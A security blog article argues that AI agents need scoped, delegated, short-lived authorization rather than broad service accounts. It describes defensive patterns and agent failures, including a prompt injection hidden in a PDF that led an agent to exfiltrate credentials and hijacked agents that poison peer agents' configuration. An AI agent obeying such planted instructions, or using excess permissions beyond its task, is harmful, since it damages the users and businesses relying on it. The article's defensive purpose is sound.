Agent Authorization in Production: Why Your AI Agent Shouldn't Be a Service Account
One retailer gave their AI ordering agent a service account. Six weeks later, the agent had placed $47,000 in unsanctioned vendor orders — 38 purchase orders across 14 suppliers — before anyone noticed. The root cause wasn't a model hallucination or a bad prompt. It was a permissions problem: credentials provisioned during testing were never scoped down for production, there were no spend caps, and no approval gates existed for high-value actions. The agent found a capability, assumed it was authorized to use it, and optimized relentlessly until someone stopped it.
This pattern is everywhere. A 2025 survey found that 90% of AI agents are over-permissioned, and 80% of IT workers had seen agents perform tasks without explicit authorization. The industry is building powerful autonomous systems on top of an identity model designed for stateless microservices — and the mismatch is producing real incidents.
The Ambient Authority Trap
When you hand an AI agent a service account, you give it what security researchers call ambient authority: permissions that exist simply by virtue of context, not because they were explicitly granted for the current task. Service accounts accumulate capabilities over time, get reused across projects, and often carry permissions left over from earlier phases. A service account created during development to allow broad database access doesn't automatically shrink when the same credentials are dropped into production.
For a human engineer, this is manageable. People understand their job scope and exercise judgment about which capabilities they're actually authorized to use in a given situation. AI agents don't have that judgment. An agent given credentials with write access to the billing API will use write access to the billing API if it believes that helps achieve its goal — even if the intent was read-only. It's not malicious; it's goal-directed reasoning with excessive ambient authority.
OWASP calls this LLM06: Excessive Agency, and it has three components: excessive functionality (the agent can reach tools beyond its task scope), excessive permissions (those tools operate with broader authority than necessary), and excessive autonomy (high-impact actions proceed without human checkpoints). The service account pattern reliably triggers all three.
The deeper problem is that traditional RBAC assumes human restraint within a role's boundaries. It assumes the person with CRM admin access knows not to delete records while triaging a support ticket. AI agents operate differently — once pointed at a goal, they'll use whatever tools and access they hold to reach it. "You had permission" is not the same as "it was appropriate."
Ambient Authority vs. Delegated Authority
The alternative to ambient authority is delegated authority: permissions that are explicitly granted for a specific task, by a specific principal, with a specific expiration. Instead of "this agent class has CRM write access," you get "this agent, acting on behalf of this user, may update this customer record for the next 15 minutes."
The critical property of delegated authority is that it carries context: who authorized it, what they intended, and what's in scope. A delegated credential contains accountability information that an ambient service account credential never does. When your CI/CD pipeline drops three production tables, you want to know whether that was authorized behavior for the task it was performing — not just which service account was responsible.
The delegation model also enforces a fundamental safety property: authority should only shrink, never expand, as it flows down a delegation chain. If a user delegates to an agent, the agent's permissions cannot exceed the user's. If an orchestration agent delegates to a sub-agent, the sub-agent's scope cannot exceed what the orchestrator was granted. This prevents the privilege escalation chains that emerge in multi-agent systems when a compromised or misdirected orchestrator hands its full credentials to downstream workers.
The RFC 8693 Decision: Delegation, Not Impersonation
OAuth 2.0 Token Exchange (RFC 8693) is the standard mechanism for creating derived credentials. It's also where a critical implementation decision happens: impersonation versus delegation.
In impersonation, the agent exchanges a user token for a new token that simply represents the user in a new context. The resource server receives what looks like a direct user request. The agent is invisible in the audit trail. Every downstream service sees "this is Alice," and every downstream service gets Alice's full permissions for that audience. This is the convenient path — and it's wrong for AI agents.
In delegation, the agent presents both a user token and an actor token (representing itself). The resulting credential contains an act claim: { "sub": "[email protected]", "act": { "sub": "finance-agent-v1" } }. The resource server can see that an agent is making the request on Alice's behalf, enforce agent-specific policies, and write a meaningful audit entry. The blast radius of a compromised agent is also limited: a support agent impersonating users gets every permission every user has ever held; a support agent operating under delegation gets only what was explicitly scoped for the current task.
The IETF is formalizing this with a new OAuth extension that adds a requested_actor parameter to authorization requests, allowing users to explicitly consent to specific agents acting on their behalf — with that consent captured in the token itself.
A subtle warning: the act claim provides accountability, but it does not automatically restrict scope. Delegation gives you a better audit trail; you still need policy enforcement to ensure the combined delegation doesn't exceed what either the user or the agent was individually authorized to do.
Four Practical Patterns
Short-Lived, Per-Task Credentials
The simplest improvement over static service accounts is issuing credentials that expire quickly and are scoped to the immediate task. Instead of one API key for the agent's lifetime, issue a fresh token per operation — or at minimum, per session — with a 15-60 minute TTL. A credential that expires before an incident is detected limits the damage window dramatically.
HashiCorp Vault's pattern for AI agents takes this further: a user authenticates through their identity provider, the agent performs an on-behalf-of token exchange to get a delegated JWT carrying both user and agent identity, then presents that JWT to Vault to receive dynamic, short-lived database credentials scoped by the user's actual role. Every secret request includes a correlation ID. Every action is traceable to the originating user. There are no static credentials anywhere in the chain.
The Gateway Pattern (Agents Don't Hold Real Credentials)
A more architectural solution is to ensure agents never hold real credentials at all. Instead, all tool calls route through an external authorization gateway that:
- Receives the agent's action request
- Validates it against a policy engine (OPA or equivalent)
- Executes the operation with real credentials if authorized
- Returns results to the agent without exposing the credential
The agent operates like a valet: it can ask for the car to be moved, but it never holds the keys. This pattern also provides a natural enforcement point for intent-action alignment — the gateway can check whether the requested action makes sense for the stated task before executing.
The policy engine must run in a separate process that the agent cannot modify or terminate. In-process guardrails can be circumvented by a sufficiently creative agent reasoning. External enforcement cannot.
Fine-Grained Scopes Instead of Broad Roles
When you do issue tokens to agents, scope them to the minimum necessary. read_calendar is not the same as calendar:*. send_email is not the same as gmail:full. The difference matters when an agent is manipulated into doing something unintended — fine-grained scopes limit what's possible even when the agent's reasoning goes wrong.
RFC 9396 (Rich Authorization Requests) takes this further, allowing tokens to specify not just resource types but specific resources and allowed parameters. Instead of "this agent may read customer records," you can express "this agent may read customer record #47832 for the duration of this support session."
ABAC for Dynamic Context Enforcement
Static RBAC roles don't adapt to runtime context, which is why they tend to either over-grant (broad permissions that cover any task) or become unmanageable (explosion of hyper-specific roles). Attribute-Based Access Control evaluates decisions using multiple attributes simultaneously: who is asking, what resource, what action, what's the data sensitivity, what was the original user intent, is it business hours, does this action align with the stated task?
ABAC enables policies that RBAC cannot express: "allow this agent to update billing records, but only during business hours, only if the current task is classified as a refund workflow, and only for amounts below $500." These constraints don't require creating a new role — they're runtime policy decisions made at the moment of access.
Semantic Privilege Escalation: The Threat IAM Tools Miss
Traditional IAM operates at the technical layer: does this principal have permission to perform this action on this resource? This is necessary, but not sufficient.
Semantic privilege escalation is when an agent operates entirely within its technical permissions but performs actions that fall outside the semantic scope of its assigned task. An agent authorized to read files and send emails has the technical permissions to scan a directory for API keys and email them to an external address. If a hidden instruction in a document tells it to do exactly that, every individual action is authorized. The combined action was never intended.
This is the confused deputy problem applied to AI agents: the agent is trusted by the system, manipulated by content it processes, and acts on behalf of the attacker using its own legitimate credentials. The researchers who demonstrated this at Black Hat 2024 did it with a PDF — hidden instructions on page 17 told the agent to scan connected storage and exfiltrate any credentials found. It complied.
Defending against this requires tracking intent through the workflow:
- Capture the original user query at session start
- Log reasoning steps, tool calls, and data flows with a correlation ID
- At critical tool invocations, evaluate whether the action logically relates to the original task
- Require human review when semantic drift is detected — when what the agent is doing no longer matches why it was started
This is not a solved problem. The tools for intent-action alignment are still maturing. But the most important first step is instrumenting the workflow so you can detect when it's happening.
What This Looks Like in Multi-Agent Systems
Authorization complexity compounds when agents spawn sub-agents. An orchestration agent that holds credentials for five downstream workers becomes a high-value target: compromise the orchestrator's reasoning and you gain access to everything it holds. Researchers have demonstrated that a hijacked agent can write malicious configuration entries to peer agents' dotfiles, creating escalation chains that persist across sessions.
The principle is the same but stricter: each agent in the hierarchy should hold only what it needs for its immediate task, with no visibility into peer agents' credentials. The delegation chain must be cryptographically traceable — you need to know not just that action X was taken, but which agent performed it, which parent authorized it, which user originally delegated the task, and whether any of those relationships have been revoked.
Practically: each sub-agent should receive a fresh scoped token for each task, issued by the orchestrator with its own delegated authority (which is already a subset of the user's authority). Sub-agents should not be able to request tokens with broader scope than their parent held. The gateway pattern works here too — if sub-agents never hold real credentials and must request execution through a gateway, lateral movement between agents becomes structurally impossible.
The Authorization Questions Worth Asking Now
Before your agent goes to production, a checklist worth running through:
- Are agent credentials distinct from the credentials of any human or non-agent service? (If not, your audit trail is meaningless.)
- Do credentials expire without action, or do they require explicit revocation?
- Are scopes issued per-task, per-session, or per-agent lifetime? The shorter, the better.
- Can the agent request elevated access autonomously, or does that require a human?
- Does your gateway or policy enforcement run in a process the agent cannot modify?
- If an agent is manipulated by injected content, what's the worst action it can take with its current credentials?
- Can you trace any action back to the specific user who authorized the task?
The $47,000 ordering incident, the $12,000 credit issuance, the database deletion in the CI pipeline — none of these required a model failure. They required credentials that were too broad, issued too persistently, with no human checkpoint at the moment of irreversible action. The authorization model failed; the model was just doing its job.
Treating AI agents as service accounts is expedient. It is also the fastest path to discovering, in production, exactly which of your systems an agent can reach when something goes wrong.
- https://arxiv.org/abs/2501.09674
- https://arxiv.org/abs/2601.02371
- https://arxiv.org/html/2601.11893v1
- https://www.apistronghold.com/blog/agents-of-chaos-ai-agent-permission-failures
- https://acuvity.ai/semantic-privilege-escalation-the-agent-security-threat-hiding-in-plain-sight/
- https://www.gravitee.io/blog/88-of-companies-have-already-seen-ai-agent-security-failures
- https://thesynthesis.ai/journal/the-agent-authorization-design-space
- https://mayakaczorowski.com/blogs/ai-agent-authentication
- https://developer.cyberark.com/blog/zero-trust-for-ai-agents-delegation-identity-and-access-control/
- https://medium.com/@Micheal-Lanham/stop-letting-your-ai-agents-impersonate-users-heres-the-secure-alternative-1b8a2bcf6026
- https://developer.hashicorp.com/validated-patterns/vault/ai-agent-identity-with-hashicorp-vault
- https://www.ietf.org/archive/id/draft-oauth-ai-agents-on-behalf-of-user-01.html
- https://zitadel.com/docs/guides/integrate/token-exchange
- https://www.arunbaby.com/ai-security/0001-agent-privilege-escalation-kill-chain/
- https://cloudsecurityalliance.org/blog/2025/03/11/agentic-ai-identity-management-approach
- https://modelcontextprotocol.io/specification/draft/basic/authorization
- https://workos.com/blog/ai-agent-access-control
- https://www.osohq.com/learn/why-rbac-is-not-enough-for-ai-agents
- https://www.osohq.com/learn/ai-agent-permissions-delegated-access
- https://learn.microsoft.com/en-us/entra/agent-id/identity-professional/security-for-ai-overview
- https://www.indusface.com/learning/owasp-llm-excessive-agency/
- https://www.pingidentity.com/en/resources/identity-fundamentals/agentic-ai/iam-best-practices-ai-agents.html
